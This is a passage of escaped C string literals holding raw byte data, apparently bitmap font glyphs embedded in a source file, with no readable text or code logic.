\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\334^\\37\\17\\17\\7\\3\\3\"\n  \"\\7\\17\\37\\37\\36\\314\\300\\300\\300\\300\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\177\\377\\377\\377\"\n  \"\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\377\\377\\377\\377\\177\\0\\0\\0\\1\\7\\17\\17\\37\\37\\77>>>>\"\n  \">>\\77\\37\\37\\17\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\303\\307O\\17\\17\\7\\3\\0\\0\\0\\3\\7\\17\\17\\317\\307\\303\\300\\300\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\177\\377\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\377\\377\\377\"\n  \"\\377\\177\\0\\0\\0\\1\\7\\17\\17\\37\\37\\77>>>>>>\\77\\37\\37\\17\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\0\\0\\6\\17\\17\\7\\7\"\n  \"\\7\\3\\3\\3\\1\\1\\300\\300\\300\\300\\300\\0\\1\\7\\37\\177\\377\\377\\374\\360\\300\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\77\"\n  \"\\17\\3\\0\\0\\0\\0\\0\\0\\1\\7\\37\\177\\377\\377\\374\\360\\370\\376\\377\\177\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\"\n  \"\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\340\\340\\340\\300\\200\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\1\\3\\207\\377\\377\\377\\377\\374\\0\\0\\377\\377\\377\\377\\377<<<<<<<<<>>\\77\\37\\37\"\n  \"\\17\\3\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360\\360\\360\\360\"\n  \"\\360\\360\\340\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\360\\376\\377\\377\\377\\17\\3\\1\\1\\1\\1\\1\\1\\3\\207\\377\\377\\377\\377\"\n  \"\\374\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0<<<>>\\177\\177\\377\\377\\363\\341\\300\\200\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\303\\377\\377\\377\\377\\376\\0\\0\\77\\77\\77\\77\\77\\0\\20\\34\\37>>\"\n  \">>>>\\37\\37\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0p\\360\\370\\374\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\200\\200\\200\\201\\207\\217\\237\\217\\216\\204\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\16\\37\\37\\17\\17\\207\\207\\207\\207\"\n  \"\\207\\207\\217\\237\\377\\377\\376\\374\\360\\0\\0\\0\\360\\370\\374\\376\\376\\37\\37\\17\\17\\17\\17\\17\\7\\7\\7\\307\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\3\\7\\17\\37\\37\\77>>><>>\\36\\37\\37\\17\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\"\n  \"\\374\\374\\374\\70\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\307\\307\\317\\317\\303\\301\\300\\300\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\2\\7\\17\\217\\207\\207\\303\\303\\303\\303\\303\\303\\307\\317\\377\\377\\377\\376\\370\\0\\0\\0\\370\\374\\376\\377\"\n  \"\\377\\217\\17\\7\\7\\7\\7\\7\\3\\203\\203\\343\\377\\377\\377\\377\\377\\0\\0\\0\\1\\3\\7\\17\\17\\37\\37\\37\\37\\36\\37\\37\"\n  \"\\17\\17\\17\\7\\37\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\\370\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\14\\237\\277\\217\\207\\201\\201\\203\\217\\237\\277\\37\\16\\0\\0\\0\\0\\0\\0\\0\\0\\4\\16\\37\\37\\17\\17\\207\\207\\207\\207\"\n  \"\\207\\207\\217\\237\\377\\377\\376\\374\\360\\0\\0\\0\\360\\370\\374\\376\\376\\37\\37\\17\\17\\17\\17\\17\\7\\7\\7\\307\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\3\\7\\17\\37\\37\\77>>><>>\\36\\37\\37\\17\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\\370\\370xx\\370\\370\"\n  \"\\360\\340\\340\\300\\300\\340\\360\\360`\\0\\0\\0\\0\\0\\0\\0\\1\\3\\201\\200\\200\\200\\200\\201\\201\\203\\203\\203\\3\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\4\\16\\37\\37\\17\\17\\207\\207\\207\\207\\207\\207\\217\\237\\377\\377\\376\\374\\360\\0\\0\\0\\360\\370\\374\\376\"\n  \"\\376\\37\\37\\17\\17\\17\\17\\17\\7\\7\\7\\307\\377\\377\\377\\377\\377\\0\\0\\0\\3\\7\\17\\37\\37\\77>>><>>\"\n  \"\\36\\37\\37\\17\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\360\\340\\300\\0\\0\\0\\300\\340\\360\\360\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\3\\7\\207\\207\\203\\201\\200\\200\\200\\201\\203\\207\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\4\\16\\37\\37\\17\\17\\207\\207\\207\\207\"\n  \"\\207\\207\\217\\237\\377\\377\\376\\374\\360\\0\\0\\0\\360\\370\\374\\376\\376\\37\\37\\17\\17\\17\\17\\17\\7\\7\\7\\307\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\3\\7\\17\\37\\37\\77>>><>>\\36\\37\\37\\17\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\370\\370\\34\\34\\34\"\n  \"\\34\\370\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\203\\203\\207\\207\\207\\207\\203\\203\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\4\\16\\37\\37\\17\\17\\207\\207\\207\\207\\207\\207\\217\\237\\377\\377\\376\\374\\360\\0\\0\\0\\360\\370\\374\\376\"\n  \"\\376\\37\\37\\17\\17\\17\\17\\17\\7\\7\\7\\307\\377\\377\\377\\377\\377\\0\\0\\0\\3\\7\\17\\37\\37\\77>>><>>\"\n  \"\\36\\37\\37\\17\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\"\n  \"\\200\\200\\300\\200\\200\\200\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\6\\17\\17\\17\\217\\207\\207\\207\\207\\217\\377\\377\"\n  \"\\376\\377\\237\\217\\207\\207\\207\\207\\217\\377\\377\\376\\374\\376\\377\\377\\37\\17\\7\\7\\7\\7\\377\\377\\377\\377\\203\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\3\\3\\7\\17\\37\\37\\77<<<<\\36\\37\\17\\7\\17\\37\\37>>>>>\\36\\37\\17\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\300\\370\\374\\376\\377\\77\\37\\17\\7\\3\\3\\3\\3\\3\\3\\7\\17\\37\\77\\37\\16\\4\\0\\0\\37\\177\\377\"\n  \"\\377\\377\\360\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\200\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\17\\17\\37\\37\\237\"\n  \"\\377\\376\\237\\237\\237\\17\\17\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\34\\34\\70;;;;\\77\\37\\17\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20x\\374\\374\\374\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\200\\200\\300\\300\\300\\301\\347\\317\\317\\307\\306\\200\\200\\0\\0\\0\\0\\0\\0\\340\\370\\374\\377\\377\\337\\317\\307\\303\\303\\303\\303\"\n  \"\\303\\303\\307\\307\\317\\377\\377\\376\\374\\360\\0\\0\\37\\377\\377\\377\\377\\363\\303\\203\\3\\3\\3\\3\\3\\3\\3\\3\\203\\203\\303\\203\"\n  \"\\3\\3\\0\\0\\0\\0\\1\\3\\7\\7\\17\\17\\37\\37\\37\\37\\36\\37\\37\\37\\17\\17\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\"\n  \"\\374\\374\\374x\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\302\\307\\317\\357\\307\\303\\300\\300\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\370\\374\\377\\377\\337\\317\\307\\303\\303\\303\\303\\303\\303\\307\\307\\317\\377\\377\\376\\374\\360\\0\\0\\37\\377\\377\\377\"\n  \"\\377\\363\\303\\203\\3\\3\\3\\3\\3\\3\\3\\3\\203\\203\\303\\203\\3\\3\\0\\0\\0\\0\\1\\3\\7\\7\\17\\17\\37\\37\\37\\37\"\n  \"\\36\\37\\37\\37\\17\\17\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\\370\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\16\\37\\237\\217\\207\\201\\301\\203\\217\\237\\277\\37\\16\\0\\0\\0\\0\\0\\0\\300\\360\\370\\376\\376\\277\\237\\217\\207\\207\\207\\207\"\n  \"\\207\\207\\217\\217\\237\\377\\376\\374\\370\\340\\0\\0\\77\\377\\377\\377\\377\\347\\207\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\207\\7\"\n  \"\\7\\7\\0\\0\\0\\1\\3\\7\\17\\17\\37\\37>>>><>>>\\37\\37\\17\\17\\6\\2\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\360\\340\\300\\0\\0\"\n  \"\\0\\300\\340\\360\\360\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\207\\203\\201\\200\\300\\200\\201\\203\\207\\7\\7\\3\\1\"\n  \"\\0\\0\\0\\0\\300\\360\\370\\376\\376\\377\\237\\217\\217\\207\\207\\207\\207\\207\\217\\217\\237\\377\\376\\374\\370\\340\\0\\0\\77\\377\\377\\377\"\n  \"\\377\\367\\207\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\207\\207\\7\\7\\0\\0\\0\\1\\3\\7\\17\\17\\37\\37>>>>\"\n  \"<>>>\\36\\37\\17\\17\\7\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60x\\374\\374\\374\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\"\n  \"\\300\\300\\300\\300\\303\\307\\317\\317\\307\\302\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\36\\36\\36\\36\\36\\36\\37\\37\\37\\37\\37\\36\\36\\36\\36\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\"\n  \"\\370\\374\\374x\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\302\\307\\317\\317\\307\\303\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\36\\36\\36\\36\\36\\37\\37\\37\"\n  \"\\37\\37\\36\\36\\36\\36\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\370\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\"\n  \"\\214\\236\\277\\237\\217\\203\\201\\203\\207\\217\\77\\37\\16\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0<<<<<<\\77\\77\\77\\77\\77<<<<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\360\\340\\300\\0\\0\"\n  \"\\0\\300\\360\\360\\360\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\201\\203\\207\\207\\207\\203\\201\\200\\200\\200\\203\\7\\7\\7\\7\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<<<<<<\\77\\77\\77\"\n  \"\\77\\77<<<<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0  `p\\360\\360\\360\\340\\300\\300\\200\\200\\200\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\14\\36\\236\\236\\237\\217\\217\\217\\217\\277\\377\\377\\377\\373\\343\\301\\1\\0\\0\\200\\360\\370\\374\\376\\177\\37\\17\\17\\7\\7\\7\"\n  \"\\7\\7\\17\\17\\37\\177\\377\\377\\377\\376\\360\\0\\77\\377\\377\\377\\377\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\"\n  \"\\377\\377\\77\\0\\0\\0\\3\\7\\17\\17\\37\\37>>><>>>\\37\\37\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\370\\370\\370\\370\\370\\360\"\n  \"\\340\\340\\300\\300\\340\\340\\360\\340\\0\\0\\0\\0\\0\\200\\200\\201\\203\\201\\0\\0\\0\\200\\201\\201\\203\\203\\203\\203\\203\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377~\\36\\17\\17\\7\\7\\7\\7\\17\\37\\377\\377\\376\\374\\360\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\70\\374\\374\\374\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\200\\200\\300\\300\\300\\301\\303\\317\\317\\307\\307\\300\\200\\0\\0\\0\\0\\0\\0\\300\\370\\374\\376\\377\\77\\17\\7\\7\\3\\3\\3\"\n  \"\\3\\3\\7\\7\\37\\177\\377\\377\\374\\370\\300\\0\\37\\177\\377\\377\\377\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\377\\377\"\n  \"\\377\\177\\37\\0\\0\\0\\1\\3\\7\\7\\17\\17\\37\\37\\37\\36\\37\\37\\37\\17\\17\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\"\n  \"\\360\\374\\370\\360p \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\204\\216\\217\\237\\217\\207\\203\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\360\\370\\374\\376\\177\\37\\17\\17\\7\\7\\7\\7\\7\\17\\17\\77\\377\\376\\376\\370\\360\\200\\0\\77\\377\\377\\377\"\n  \"\\377\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\\377\\377\\77\\0\\0\\0\\3\\7\\17\\17\\37\\37>>><\"\n  \">>>\\37\\37\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\374\\374\\370\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\16\\37\\237\\217\\207\\201\\200\\203\\207\\237\\277\\237\\16\\4\\0\\0\\0\\0\\0\\200\\360\\370\\374\\376\\177\\37\\17\\17\\7\\7\\7\"\n  \"\\7\\7\\17\\17\\77\\377\\376\\376\\370\\360\\200\\0\\77\\377\\377\\377\\377\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\"\n  \"\\377\\377\\77\\0\\0\\0\\3\\7\\17\\17\\37\\37>>><>>>\\37\\37\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@\\340\\360\\360\\370\\370xx\\370\\370\"\n  \"\\360\\340\\340\\300\\300\\340\\360\\360`\\0\\0\\0\\0\\0\\0\\0\\1\\3\\0\\200\\200\\200\\200\\201\\203\\203\\203\\203\\203\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\200\\360\\370\\374\\376\\177\\37\\17\\17\\7\\7\\7\\7\\7\\17\\17\\77\\377\\376\\376\\370\\360\\200\\0\\77\\377\\377\\377\"\n  \"\\377\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\\377\\377\\77\\0\\0\\0\\3\\7\\17\\17\\37\\37>>><\"\n  \">>>\\37\\37\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\360\\340\\300\\0\\0\\0\\300\\340\\360\\360\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\3\\7\\7\\207\\203\\201\\200\\200\\200\\201\\203\\207\\207\\7\\3\\1\\0\\0\\0\\0\\200\\360\\370\\374\\376\\177\\37\\17\\17\\7\\7\\7\"\n  \"\\7\\7\\17\\17\\77\\377\\376\\376\\370\\360\\200\\0\\77\\377\\377\\377\\377\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\"\n  \"\\377\\377\\77\\0\\0\\0\\3\\7\\17\\17\\37\\37>>><>>>\\37\\37\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\\360\\360\\340\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\361\\363\\363\\363\\363\\361\\360\\360\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\370\\370\\370\\370\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\340\\360\\360\\340`\\0\\0\\0\\200\\360\\370\\374\\376\\377\\77\\17\\17\\7\\7\\307\"\n  \"\\367\\377\\377\\177\\37\\177\\377\\377\\374\\360\\200\\0\\77\\377\\377\\377\\377\\300\\200\\340\\370\\376\\177\\77\\17\\3\\0\\0\\200\\340\\377\\377\"\n  \"\\377\\377\\77\\0\\0@\\343\\377\\377\\377\\77\\37\\77\\77><>>>\\37\\37\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20x\\374\\374\\374\"\n  \"\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\0\\0\\0\\0\\3\\7\\17\\17\\7\\2\\300\\300\\300\\300\"\n  \"\\300\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\177\\377\\377\"\n  \"\\377\\377\\300\\200\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\1\\7\\7\\17\\17\\37\\37\\37\\36\\37\"\n  \"\\37\\17\\17\\7\\37\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\374\\374x\\20\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\2\\7\\17\\17\\7\\1\\0\\0\\300\\300\\300\\300\\300\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\177\\377\\377\\377\\377\\300\\200\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\1\\7\\7\\17\\17\\37\\37\\37\\36\\37\\37\\17\\17\\7\\37\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\"\n  \"\\370\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\214\\37\\37\\17\\7\\1\\1\\3\\17\\37\\37\\237\\214\\200\\200\"\n  \"\\200\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\3\\17\\17\\37\\37\\77>><>\"\n  \">\\36\\37\\17\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  